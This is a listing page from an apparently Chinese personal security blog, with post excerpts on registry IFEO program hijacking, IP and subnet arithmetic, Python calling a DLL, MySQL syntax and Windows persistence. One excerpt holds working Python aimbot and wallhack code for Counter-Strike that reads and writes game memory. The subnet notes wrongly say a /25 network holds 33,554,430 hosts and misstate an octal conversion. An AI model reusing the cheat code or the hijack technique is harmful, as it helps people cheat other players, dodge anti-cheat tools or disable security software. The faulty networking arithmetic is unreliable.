首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,542 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
52
篇与
的结果
2022-08-22
【每日随记】注册表镜像劫持实验
简介镜像劫持是指在针对杀毒软件方面,OSO病毒采用了一种新技术,效果是为了类似文件关联,通过这种技术也能够将杀毒软件置于死地,所谓的镜像劫持,就是在注册表的 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options] 处新建一个以杀毒软件主程序命名的项,例如Rav.exe,然后再创建一个子键 "Debugger="C:\WINDOWS\system32\drivers\"",以后只要用户双击 Rav.exe就会运行OSO的病毒文件,类似文件关联的效果。简单的来说,在注册表做了镜像劫持,点击任何程序都会跳到你想要被执行的程序上,当然也可以用来阻止的程序运行。实验步骤1.首先Ctrl + R在运行窗口输入,regedit这个命令打开注册表。HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options2.在注册表按以上路径找到,Image File Execution Options 这一项。3.然后在 Image File Execution Options 项中右键,新建一个项 名字要填你劫持软件的名字,如 xxx.exe。4.这里我拿这个软件做演示,没改之前是可以运行的,注册表只创建了要劫持的程序名称,并不会劫持的而是要在里面创建一个名为 debugger 字符串值。5.现在创建好了字符串值,数值数据随便填,保存再运行程序发现找不到文件了,这样就实现了阻止程序运行的效果。6.这里我写了一个提示程序,运行效果就是提示劫持成功,现在去注册表替换下 debugger 里的内容,改成被指定要运行的程序路径。7.替换好后,再保存运行 云班刷.exe 时,就会发现运行的是 test.exe 程序的提示。
2022年08月22日
106 阅读
0 评论
6 点赞
2022-08-05
此内容被密码保护
加密文章,请前往内页查看详情
2022年08月05日
56 阅读
0 评论
7 点赞
2022-08-04
【网络通信】IP地址与进制计算 ( 总结 )
IP地址IP地址是一个32位的二进制数,通常被分割为4个 "8位二进制数" (也就是4个字节)。通常用 "点分十进制" 表示成(A.B.C.D)的形式,其中A、B、C、D都是0~255之间的十进制整数。在一个子网中第一个和最后一个为保留地址,所以在一般情况局域网中可使用的IP为1~254。IP类别网络标识可支持网络数目主机标识每个网络支持主机数A类前8位(左第一个为0)2^7-2=126后24位256^3-2=16777214B类前16位(左前两个为10)2^14=16384后16位256^2-2=65534C类前24位(左前三个为110)2^21=2097152后8位256-2=254D类IP地址范围从224.0.0.0 - 239.255.255.255D类IP地址为组播地址,一般用于多路广播用户E类IP地址范围为240.0.0.0 - 255.255.255.255此类为保留地址,留待特殊用途// 全部1十进制那就是255 A:00000000 ~ 01111111 64 + 32 + 16 + 8 + 4 + 2 + 1 // 加起来就是结果127 B:10000000 ~ 10111111 128 32 16 8 4 2 1 C:11000000 ~ 11011111 128 64 16 8 4 2 1 D:11100000 ~ 11101111 128 64 32 8 4 2 1 E:11110000 ~ 11111111 128 64 32 16 8 4 2 1 把是的1加起来就行了等于127,0是一个保留地址,127是一个测试地址。 A类地址范围:1 ~ 126 // 大型网络 B类地址范围:128 ~ 191 // 中型网络 C类地址范围:192 ~ 223 // 小型网络 D类地址范围:224 ~ 239 // 广播地址(路由器用的) E类地址范围:240 ~ 255 // 实验保留(我们用不到)子网掩码简单来说将一个IP地址区分为,网络位和主机位,同一网络位的IP地址能互相通信,不需要通过网关,如果是不同的网络位IP地址进行通信,就需要网关路由转发。192.168.1.0 // C类IP地址 255.255.255.0 // 子网掩码24位 255转二进制是8个1,这里有3组8 3*8=24 11111111.11111111.11111111.00000000 // 连续的1对应的是网络号和子网号 0是主机位 // 地址从 256 - 2 = 254 可以存储1 ~ 254个主机 202.136.10.20 // 20转二进制 00010100 255.255.255.128 // 128转二进制 10000000 20:00010100 // 进行与运算 两个是1那么就是1 一个不是1那就是0 128:10000000 // 两个真那就是真一个真一个假那就是假 可以发现都没对上那就是0 202.136.10.0 // 255全是1那么就是它本身直接写下来 与出来的结果是0加上 255.255.255 // 这个掩码是24位再加上10000000里有一位就是25掩码范围 202.136.10.0/25 // 能储存 2 ^ 25 - 2 = 33554430 个主机 在划分的ip地址中有两个地址是不能用的,那就是网络号和广播地址,所以这里要减去2。 255.255.255.1281.有一个子网计算工具,百度下就有可以很形象的看出来。进制表示有(十进制、二进制、八进制、十六进制)在日常生活中我们用的是十进制,一位的十进制数的范围是0~9如果要表示10,那么就要用两位的十进制数。二进制是计算机用的更适合逻辑运算 二进制只有两种状态1和0表示真和假 类似一个信号开和关一样。1 字节(B)=8 比特(bit)1个字节(Byte)等于8个bit位,每个bit位是0/1两种状态,也就是说一个字节可以表示256个状态,计算机里用字节来作为最基本的存储单位。字节间换算1kB = 1000B(字节, Byte)。1KB=1024B;1MB=1024KB=1024×1024B。1B(byte,字节)= 8 bit(见下文);1KB(Kilobyte,千字节)=1024B= 2^10 B;1MB(Megabyte,兆字节,百万字节,简称"兆")=1024KB= 2^20 B;1GB(Gigabyte,吉字节,十亿字节,又称"千兆")=1024MB= 2^30 B;4字节能存储多大的数字呢?有符号:2 ^ 31 - 1 = 2147483647 无符号:2 ^ 32 - 1 = 4294967295二进制转十进制01100000 转十进制是 96 怎么得出来的呢 很简单 按2的倍数开始计位如下: 0 1 1 0 0 0 0 0 128 64 32 16 8 4 2 1 有1的就把下面的倍数加起来就是了 64 + 32 = 96 这就是结果 十进制转二进制100 转二进制 快速反推思路 在64 ~ 1内多少加起来等于100 64 32 16 8 4 2 1 很显然 64 + 32 + 4 = 100 这样就得出来了 直接补上就是了 64 32 4 都是1其他的是0 最终结果:01100100 二进制转十六进制10:1 0 1 0 8 4 2 1 // 把是1的位数加起来就行 8 + 2 = 10 = A // 在16进制里10就A 38:0 0 1 1 1 0 0 0 // 4位为一组 后面有三个0 不用加0 因为四位一组 8 4 2 1 8 4 2 1 // 前4位2 + 1 = 3 后4位是8 拼接起来 3 + 8 = 38 // 十六进制 38二进制转八进制10:1 0 1 0 1 4 2 1 // 把是1的位数加起来就行 1 + 2 = 12 // 1和2拼接起来 70:0 0 1 1 1 0 0 0 // 3位为一组 有三个0 要加一个0 因为3位一组 2 1 4 2 1 4 2 1 // 前3位4 + 2 + 1 = 7 后3位是0 拼接起来 7 + 0 = 70 // 八进制 70
2022年08月04日
283 阅读
0 评论
37 点赞
2022-07-22
【技术分享】Python3 调用易语言DLL
简介编程只是为了解决我们的一些问题而存在的,没有必要区分太细,哪个方便就用哪个吧,易语言从初中就陪伴着我,用习惯了它很方便也可以开发dll,顺便做个笔记以防忘记,使用Python调用易语言dll遇到的坑。易语言dll1.这里写了几个导出函数,分别是 TS、TS2、TS3,都不同有无参的函数,有传参的函数,还有传参返回的函数,这里注意易语言生成的dll是32位的必须要由32位Python才可以调用,64位会直接报错的。Python3调用import ctypes # 导入C类型模块 dll = ctypes.CDLL(r"E:\桌面\ed.dll") # 导入动态链接库 dll.TS() # 调用无参函数 dll.TS2("测试1".encode("gbk")) # 传参需要编码成 gbk text = dll.TS3("测试2".encode("gbk")) print(ctypes.string_at(text).decode("gbk")) # 通过string_at转换成字符 再解码为gbk效果
2022年07月22日
50 阅读
0 评论
4 点赞
2022-07-20
【技术分享】Python3 透视自瞄外挂制作
简介Memory64内存模块是自己无聊的时候封装的,它可以轻松的操作进程中的内存,做一些游戏辅助还是可以的,模块源码已上传Github上,现在的版本是1.0.3后续会继续更新的。Github 项目安装教程pip install Memory641.通过Python自带的pip工具就可以安装模块,模块只支持32位Python,64位Python并不兼容。使用步骤python -c "import Memory64; print(Memory64.version)"1.安装好后,在终端输入这行命令,查看下模块版本,正常显示没有报错就证明安装成功了。取64位模块地址from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开进程句柄 pid = GetProcPid("Calculator.exe") # 获取进程PID mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取64位程序模块基址 mod2 = GetModule2(pid, "shlwapi.dll") # 通过进程PID获取64位程序模块基址 print(pid, hwnd, mod1, mod2) # 输出进程PID, 进程句柄, 输出模块基址2.这里我用64位程序计算器,做一个演示看看能不能读到内存地址,很显然是没问题的。读64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 通过进程句柄获取模块基址"shlwapi.dll" print(ReadMemory64Int(hwnd, mod1)) # 读取指定模块基址的64位内存整数3.通过模块读下地址数值,也是没有问题的,后面就不演示了,直接放代码。写64位进程内存from Memory64.Bin32 import * hwnd = Openhwnd("Calculator.exe") # 打开名为"Calculator.exe"的程序句柄 mod1 = GetModuleAddr64(hwnd, "shlwapi.dll") # 获取模块"shlwapi.dll"的基址 addr = ReadMemory64Int(hwnd, 0x7FF8E64CEC48) # 从指定地址读取64位内存整数 addr2 = ReadMemory64Int(hwnd, mod1 + 0x4EC48) # 使用模块基址加上偏移读取64位内存整数 print(addr, addr2) # 输出两个读取的内存地址值 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在模块基址加上偏移地址写入整数值10 WriteMemory64Float(hwnd, mod1 + 0x4EC48, 5.261) # 写入小数值5.261 WriteMemory64Int(hwnd, mod1 + 0x4EC48, 10) # 在同一地址写入整数值10 bytesa = "11 33 30 32 32 33 35 40 40 58" # 定义一个字节集数据 WriteMemory64Bytes(hwnd, 0x7FF77E2BE72E, bytesa, 10) # 写入指定地址的字节集数据绘制透明方框from Memory64 import FindWindowPid # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 hwnd = FindWindowPid(None, "xxx")[0] # 通过窗口名称查找窗口句柄 draw = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制模块 while True: draw.startLoop() # 开始绘制段 draw.drawRect(100, 100, 100, 100, 5, (255, 254, 0)) # 绘制矩形,参数依次是起始 x 坐标, 起始 y 坐标, 宽度, 高度, 边框宽度, 颜色 (R, G, B) draw.endLoop() # 结束绘制段如何打包最好用这种形式打包:打包方式外挂类型分类AI外挂基于目标检测模型,如 YOLOv5。通过训练目标检测模型,对游戏画面进行分析,检测敌人并自动移动射击。其原理简单,主要依赖于图像处理与深度学习模型,效果一般,适用于辅助操作,但不涉及游戏内修改。内存外挂使用工具如 Cheat Engine(CE)或 Ollydbg(OD)进行内存操作。强大的内存修改能力,可以直接更改游戏数据,但容易被反作弊系统检测。需要掌握游戏内存结构以及通过端口拦截或hook技术来规避检测。封包外挂使用工具如 WPE来抓包并修改数据包。能够欺骗服务器,通过修改包内容实现功能,例如刷枪、强登账号等。数据包(TCP/UDP)可能部分加密,通过技术如异或解密来获取未加密数据部分。脚本外挂模拟玩家的鼠标、键盘操作,通过脚本自动化完成任务。比较简单,适合用来执行重复性操作,但效果有限,仅能辅助功能性增强。代码实现原理Python3 实现:代码结构基于图像处理、内存修改或网络抓包技术。Python可以通过封装库、调用Windows API 或使用现成工具库来实现外挂功能。例如,可以使用 Memory64 库或直接调用内存操作来实现内存外挂。工具推荐:Cheat Engine (CE):内存操作与调试工具。Ollydbg (OD):二进制文件调试工具,适用于反汇编和内存调试。WPE:抓包工具,用于数据包编辑与欺骗服务器。实现说明:所有外挂技术基础都是基于对游戏系统的分析和利用系统漏洞进行功能扩展。所有方法都涉及一定程度的反向工程与安全风险,因此需要谨慎使用。注意事项:所有外挂功能都需要在合法范围内使用,否则可能面临法律后果或账户封禁。游戏外挂涉及风险,因此建议仅用于学习和研究,切勿用于商业或非法用途。自瞄代码from Memory64 import * # 导入自定义的内存访问模块 from math import * # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) # 取游戏窗口句柄 func = SetupProce(pid) # 设置进程 Modlue_m = func.GetBaseAddr("cstrike.exe") # 获取模块基址 Modlue_e = func.GetBaseAddr("engine_amxx.dll") # 读取特定内存地址的玩家坐标 Pom = func.ReadMemory(Modlue_m + 0x1033240) # 计算二维坐标之间的距离 def Get_Distance(x1, y2, ex, ey): return sqrt((x1 - ex)**2 + (y2 - ey)**2) / 20 # 启动自瞄功能 def Start_AiMBot(): my_x = func.ReadMemory_float(Pom + 0x88) # 读取玩家 x 坐标 my_y = func.ReadMemory_float(Pom + 0x8C) my_z = func.ReadMemory_float(Pom + 0x90) Enemy_data = [] # 存储敌人数据 Number = 133988 # 初始读取偏移地址 # 遍历敌人的坐标 for _ in range(0, 10): Number += 4 Poe = func.ReadMemory(Modlue_e + Number) # 读取敌人坐标 enemy_x = func.ReadMemory_float(Poe + 0x88) enemy_y = func.ReadMemory_float(Poe + 0x8C) enemy_z = func.ReadMemory_float(Poe + 0x90) enemy_hp = func.ReadMemory_float(Poe + 0x1E0) differ_x = enemy_x - my_x differ_y = enemy_y - my_y _distan = sqrt(differ_x**2 + differ_y**2) differ = Get_Distance(my_x, my_y, enemy_x, enemy_y) AiMBot_y = atan((my_z - enemy_z) / _distan) / pi * 180 # 计算角度 if differ_x > 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第一象限 if differ_x < 0 and differ_y > 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第二象限 if differ_x < 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 + 180 # 计算第三象限 if differ_x > 0 and differ_y < 0: AiMBot_x = atan(differ_y / differ_x) / pi * 180 # 计算第四象限 Enemy_data.append([differ, enemy_hp, AiMBot_x, AiMBot_y]) Enemy_data.sort() if Enemy_data[0][1] < 1: del Enemy_data[0] # 删除血量小于1的敌人数据 try: func.WriteMemory_float(Modlue_m + 0x19E10C4, Enemy_data[0][3] + 1) # 设置准星 y 轴位置 func.WriteMemory_float(Modlue_m + 0x19E10C8, Enemy_data[0][2]) # 设置准星 x 轴位置 except Exception: pass # 程序主逻辑 if __name__ == '__main__': try: while True: if MonitorHotkeys(0x20) != 0: # 按空格键开启自瞄 Start_AiMBot() except KeyboardInterrupt: exit()自瞄讲解{dplayer src="https://www.52tt.pro/usr/uploads/2024/03/4066814740.mp4"/}透视代码from Memory64 import * # 导入内存访问模块 import Memory64.D3Gui # 导入图形绘制模块 import numpy as np # 导入数学操作模块 # 获取游戏窗口句柄和进程ID hwnd, thre, pid = FindWindowPid("Valve001", None) Addr = SetupProce(pid) # 设置目标进程 Modlue_e = Addr.GetBaseAddr("amxmodx_mm.dll") # 获取模块基址 Draws = Memory64.D3Gui.ExecDraw(hwnd) # 初始化图形绘制对象 # 初始化矩阵和窗口尺寸 Matarray = np.zeros([4, 4]) GameWinWidth = 1030 / 2 GameWinHeight = 797 / 2 # 开启循环绘制 while True: Draws.startLoop() # 启动绘制循环 initNumber = -4 for i in range(4): for j in range(4): initNumber += 4 Matarray[i][j] = Addr.ReadMemory_float(0x2C20100 + initNumber) # 读取矩阵数据 offset = 0xFFFFFFFFFFFFFCDC for _ in range(2): # 读取敌人坐标数据 offset += 0x324 Poe = Addr.ReadMemory(Modlue_e + 0x1CFE08) # 读取敌人数据块基址 enemy_x = Addr.ReadMemory_float(Poe + 0x88 + offset) # 读取敌人 x 坐标 enemy_y = Addr.ReadMemory_float(Poe + 0x8C + offset) # 读取敌人 y 坐标 enemy_z = Addr.ReadMemory_float(Poe + 0x90 + offset) # 读取敌人 z 坐标 # 计算投影坐标 Vorz = Matarray[0][2] * enemy_x + Matarray[1][2] * enemy_y + Matarray[2][2] * enemy_z + Matarray[3][2] row = 1 / Vorz VorX = GameWinWidth + (Matarray[0][0] * enemy_x + Matarray[1][0] * enemy_y + Matarray[2][0] * enemy_z + Matarray[3][ 0]) * row * GameWinWidth # x 坐标投影 VorY = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z - 50) + Matarray[3][ 1]) * row * GameWinHeight # y 坐标投影 VorY2 = GameWinHeight - (Matarray[0][1] * enemy_x + Matarray[1][1] * enemy_y + Matarray[2][1] * (enemy_z + 30) + Matarray[3][ 1]) * row * GameWinHeight # 第二个 y 坐标投影 if Vorz < 0: # 如果投影深度小于零,跳过当前循环 continue FanHeight = VorY - VorY2 # 计算高度差 FanWidth = FanHeight * 0.5 # 计算宽度 Draws.drawText("ACT忆梦", 30, 20, 50, (255, 255, 0)) # 绘制文本 Draws.drawRect(VorX - FanWidth / 2, VorY2, FanWidth, FanHeight, 2, (255, 255, 0)) # 绘制矩形 Draws.endLoop() # 结束绘制循环自瞄效果{bilibili bvid="BV1zb4y1E7kC" page=""/}透视效果{bilibili bvid="BV1Eh411q7tA" page=""/}
2022年07月20日
1,678 阅读
0 评论
422 点赞
2022-07-20
【技术分享】MYSQL学习笔记
简介MySQL是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性,简单的来说就是用来存储数据的,它由于其体积小、速度快、还是开放源码的,一般中小型网站的开发都选择 MySQL 作为网站数据库。登录mysqlnet start mysql(服务名) # 启动MySQL服务 net stop mysql # 停止服务 mysql -h 主机名 -u 用户名 -p # 登录数据库 # 示例:mysql -h localhost -u root -p123456show 显示数据库show databases; # 查看数据库create 创建数据库create database exp; # 创建数据库use exp; # 使用数据库create 创建表create table ser( id int(11), name varchar(25), age int(3)); # 创建表名为 ser show tables; # 查询表 describe ser | desc ser; # 显示表字段 select 查询select * from sers; # 查询表所有内容 select * from sers where name="小美"; # 查询指定内容 select * from sers order by name desc limit 1; # order by 字段排序 asc 升序 |desc 降序 limit 显示列数 select name as n, age as a from sers; # 修改显示别名 select * from sers where name like "小%"; # 查询关键字insert 插入数据insert into ser value(1, "小华", 20); # 往ser表 插入单行数据 insert into ser value( 2,"小红", 18), (3,"小美", 20); # 往ser表 插入多行数据 select * from ser; # 显示表所有字段内容drop 删除数据库drop table tbem; # 删除表 drop database test; # 删除数据库alter 修改表名alter table ser rename to sers; # 修改表名 show tables # 显示表名alter 修改类型alter table sers modify id int(30); # 修改数据类型alter 删除字段alter table sers drop id; # 删除字段delete 删除字段数据delete from sera where id=1; # 删除指定内容 update 修改内容update sers set name="小王" where age=20; # 通过年龄指定修改名称(可以通过id指定)union 联合查询select name from sera union select name from serb order by name; # 联合两个表查询时间过得真快.. 这门课程已经结束了,只是基础语法先记录在这里了方便自己查阅。安装配置mysql安装与配置教程.docPPT版第1章 数据库基础知识.pptx第2章 MySQL基础.pptx作业学生信息(作业 创建这四个表格).xls银行ATM机管理系统.docx考试案例.docmysql案例.rar{collapse}{collapse-item label="MYSQL命令" close}启动MySQL服务 net start mysql(服务名) 停止服务 net stop mysql 登录指令 mysql -h 主机名 -u 用户名 -p 示例:mysql -h localhost -u root -p123456 退出MySQL指令:\q;quit;exit 修改密码: mysqladmin -u 用户名 -p password 新密码 常用指令: \c 取消当前输入的指令 \G 对查询结果进行排版 \s 获取当前数据库的状态 \u(use) 选择指定数据库 配置MySQL的编码格式 临时配置指令: set character_set_client=gbk; 数据库基本操作指令 创建数据库:create database 数据库名; create database 数据库名 character set 编码格式 collate 编码格式_bin;创建时指定数据库的编码格式. 备注:数据库名可以中文也可以英文单词 查看当前系统中的数据库列表 show databases; 查看当前数据库的创建信息 show create database 数据库名; 修改数据库的编码格式 alter database 数据库名 default character set=gbk collate gbk_bin; 删除指定数据库 drop database 数据库名; drop database if exists 数据库名; 创建数据表的语法格式 create table [if not exists] 表名 (字段名 字段数据类型(长度约束) [字段约束], ... 创建外键 [constraint 外键名] foreign key(本表中的外键字段) references 主表表名(主表主键); ); 查看创建的数据库中得所有表格 show tables; 查询表中字段信息 describe|desc 表名; 查询表格的创建信息 show create table 表名; 删除表格 drop table [if exists] 表名; 修改表的编码格式 alter table 表名 default charset=编码格式; 修改表格结构 增加列 alter table 表名 add 列名 数据类型 [字段约束] [first|after 列名2]; 删除列 alter table 表名 drop 列名; 修改列的数据类型 alter table 表名 modify 列名 数据类型; 改列名 alter table 表名 change 旧列名 新列名 数据类型; 改表名 alter table 表名 rename 新表名; rename table 表名 to 新表名; 往表中插入数据 insert|replace [into] 表名[(列名1,列名2...)] values(数据1,数据2...),(数据1,数据2...); 查询数据记录 select *|字段名 from 表名; 修改表格记录 update 表名 set 需要修改的列=修改的值 [where 修改条件]; 删除表格记录 delete from 表名 [where 删除条件]; truncate 表名; 数据查询语句结构: select [distinct] 字段名|* from 表名1,表名2... [where 筛选条件] [group by 需要分组的字段] [having 筛选条件] [order by 需要排序的字段 asc|desc] [limit [从指定行数开始查询,]查询的结果行数] 为查询字段取别名 select 字段名1 [as] 别名1,字段名2 [as] 别名2 from 表名; 条件查询 select *|字段名 from 表名 where 字段名 运算符 值; 多条件查询 select *|字段名 from 表名 where 字段名1 运算符 值 and|or 字段名2 运算符 值; 指定范围查询 select *|字段名 from 表名 where 字段名 [not] between 值1 and 值2; select *|字段名 from 表名 where 字段名 [not] in(值1,值2...); 模糊查询 select *|字段名 from 表名 where 字段名 like 匹配的值; 通配符: %:匹配任意长度字符串 _:匹配一个字符串 空值查询 select *|字段名 from 表名 where 字段名 is [not] null; 查询排序 select *|字段名 from 表名 order by 字段名1 [asc|desc],字段名2 [asc|desc]...; 查询结果分组 select *|字段名 from 表名 group by 字段名1,字段名2... [having 条件]; 限制查询结果行数 select *|字段名 from 表名 limit [跳过的行数,]显示的行数; 集合函数 count(*|字段):返回某列的行数 sum(字段):返回某列数值的和,只能作用在存储纯数值的字段上 avg(字段):返回某列的平均值,只能作用在存储纯数值的字段上 max(字段):返回某列的最大值 min(字段):返回某列的最小值 多表链接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 [别名] 链接类型 表名2 [别名] on 链接条件 [where 筛选条件]; 内连接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 join 表名2 on 表1字段 运算符 表2字段; select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1,表名2 where 表1字段 运算符 表2字段 外链接 select 表名.字段名1 [别名],表名.字段名2 [别名]....|* from 表名1 left|right|full join 表名2 on 表1字段 运算符 表2字段; 嵌套查询 select 字段名1 [别名]...|* from 表1 where 字段 运算符(子查询语句); 比较子查询 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符(子查询语句); 包含多个值的牵头查询语句(in子查询) select 字段名1 [别名]...|* from 表1 where 字段 in(子查询语句); [not] exists运算符:子查询有结果集就为真 select 字段名1 [别名]...|* from 表1 where [not] exists(子查询语句); any子查询:只要外查询的条件有一个满足就会输出结果 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符 any(子查询语句); all子查询:外查询的条件必须全部满足才会输出结果 select 字段名1 [别名]...|* from 表1 where 字段 比较运算符 all(子查询语句); 合并查询结果 select 字段名1 [别名]...|* from 表1 [where 条件] union [all] select 字段名2...|* from 表2 [where 条件] 当需要查询的数据在一个表中,但已知的条件不在同一个表中就用嵌套查询。 当需要查询的数据在多个表中就用多表查询。 用户会话变量赋值格式 格式1:set @变量名1=初值1,[@变量名2=初值2...]; 格式2:selec t @变量名1:=初值1,[@变量名2:=初值2...] 格式3:select 初值1 into @变量名1; 局部变量 begin declare 变量名 数据类型 [default 初值]; end 函数结构 create function 函数名(参数1,参数2.....) returns 返回数据类型 [函数选项] begin 函数体; return 返回值; end; delimiter // 修改结束符 查询函数创建信息 show create function 函数名; 查询函数基本信息 show function status like '函数名'; 查询函数详细信息 select * from information_schema.routines where routine_name='函数名'; 删除函数 drop function 函数名; 流程控制语句 if条件语句 if 条件表达式 then 语句块1; [elseif 条件表达式2 then 语句块2;]... [else 语句块n] end if; case条件语句 case 表达式 when 匹配值1 then 语句块1; when 匹配值2 then 语句块2; ...... else 语句块n; end case; while循环语句 [循环标签:] while 条件表达式 do 循环体; end while [循环标签]; leave语句:结束当前循环 iterate语句:跳过本次循环,进入下次循环 repeat循环语句 [循环标签:] repeat 循环体; until 条件表达式 end repeat [循环标签]; loop循环语句 [循环标签:] loop 循环体; if 条件表达式 then leave [循环标签]; end if; end loop; 数据完整性 删除主键语句 alter table 表名 drop primary key; 为已存在的表格添加主键 alter table 表名 add [constraint 主键名] primary key(作为主键的字段名); 删除唯一约束 alter table 表名 drop index 唯一约束名; 删除外键 alter table 表名 drop foreign key 外键名称; 为已经存在的表格添加外键 alter table 表名 add [constraint 外键名] foreign key(外键字段) references 主表表名(主表主键); 创建索引 创建表格时创建索引 create table 表名( ...... [unqiue|fulltext|spatial] index|key [索引名](字段[(长度)][asc|desc])) )engine=存储引擎 default charset=字符集类型; 为已经存在的表格添加索引 1、create [unique|fulltext|spatial] index 索引名 on 表名(字段[(长度)][asc|desc]); 2、alter table 表名 add [unique|fulltext|spatial] index|key 索引名(字段[(长度)][asc|desc]); 删除索引 drop index 索引名 on 表名; 创建视图 create [or replace] view 视图名称[(视图字段名)] as select语句 with [cascaded|local] check option; or replace:如果数据库中已经存在同名视图就替换视图,如果没有就创建新视图 修改视图 alter view 视图名 as 新select语句 with [cascaded|local] check option; 查询视图 查询定义语句:show create view 视图名; 查询所有视图:select * from information_schema.views; 删除视图 drop view 视图名1,视图名2...; 存储过程结构语句 create procedure 存储过程名称(in 参数名1 参数类型,out 参数名2 参数类型,inout 参数名3 参数类型) [存储过程选项] begin 存储过程语句块 end; 查看存储过程的语句 show procedure status like '存储过程名'; show create procedure 存储过程名;查看创建信息 select * from information_schema.routines where routine_type='procedure';查询所有数据库的存储过程 删除存储过程 drop procedure 存储过程名; 修改存储过程\函数语句 alter procedure/function 名称 [函数选项|comment|sql security definer|invoker]; 创建触发器语句 create trigger 触发器名称 before|after insert|update|delete on 表名 for each row begin 触发程序; end; 查询触发器语句 show triggers [like '匹配的触发器名']; show create trigger 触发器名;查询某个触发器的创建信息 select * from information_schema.triggers; 删除语句 drop trigger 触发器名; 开启事务的语句 start transaction; 提交事务的语句 commit; 回滚事务 rollback; autocommit=0;关闭自动提交事务 autocommit=1;开启自动提交事务 事务保存点 savepoint 保存点; 回滚到指定保存点 rollback to savepoint 保存点; 删除保存点 release savepoint 保存点; 游标处理语句 1、声明游标 declare 游标名 cursor for select语句; 2、打开游标 open 游标名; 3、获取数据 fetch 游标名 into 变量1,变量2....; 处理错误的语句 declare continue|exit handler for 错误编号 处理语句; 4、关闭游标 close 游标名; 数据备份 select * into {outfile|dumpfile} '备份文件路径和文件名称' from 需要备份的表格; 数据恢复 load data [low_priority] [local] infile '恢复的文件' [replace|ignore] into table 需要恢复的表格; mysqlimport -u user -p --lock-tables --replace 需要恢复的数据库 恢复的文件 添加读锁 lock tables 表名 read; 添加写锁 lock tables 表名 write; 解除锁 unlock tables; 数据库备份 mysqldump -u user -p [--default-character-set=gbk] {--all-databases|需要备份的数据库名 [表名1 表名2]}>备份文件路径及文件名 数据库恢复 mysql -u user -p 需要恢复的数据名<备份文件路径及文件名 添加用户语句 语句1 create user '用户名'@'主机名' identified by '密码',['用户名'@'主机名' identified by '密码']...; 语句2 grant privileges on 数据库名.表名 to '用户名'@'主机地址' identified by '密码',['用户名'@'主机名' identified by '密码']...;(8.0以后不支持该语句创建新用户) 语句3 insert into user(host,user,password,ssl_cipher,x509_issuer,x509_subject) values('主机地址','用户名',password('密码'),'','',''); 删除用户 drop user '用户名'@'主机地址'; delect from user where user='用户名' and host='主机地址'; 修改用户名 rename user '旧用户名'@'旧主机名' to '新用户名'@'新主机名'; 修改密码 mysqladmin -u 用户名 -h 主机地址 -p password 新密码 update user set password=password('新密码') where user='用户名' and host='主机名'; set password=password('新密码'); 查询用户权限 show grants for '用户名'@'主机名'; 修改用户权限 grant privileges|all privileges on 数据库名.表名 to '用户名'@'主机地址' [with grant option]; 收回权限 revoke privileges|all privileges on 数据库名.表名 from '用户名'@'主机地址' ; 刷新权限 flush privileges;{/collapse-item}{/collapse}
2022年07月20日
107 阅读
0 评论
45 点赞
2022-07-19
【技术分享】Windows 权限维持启动项合集
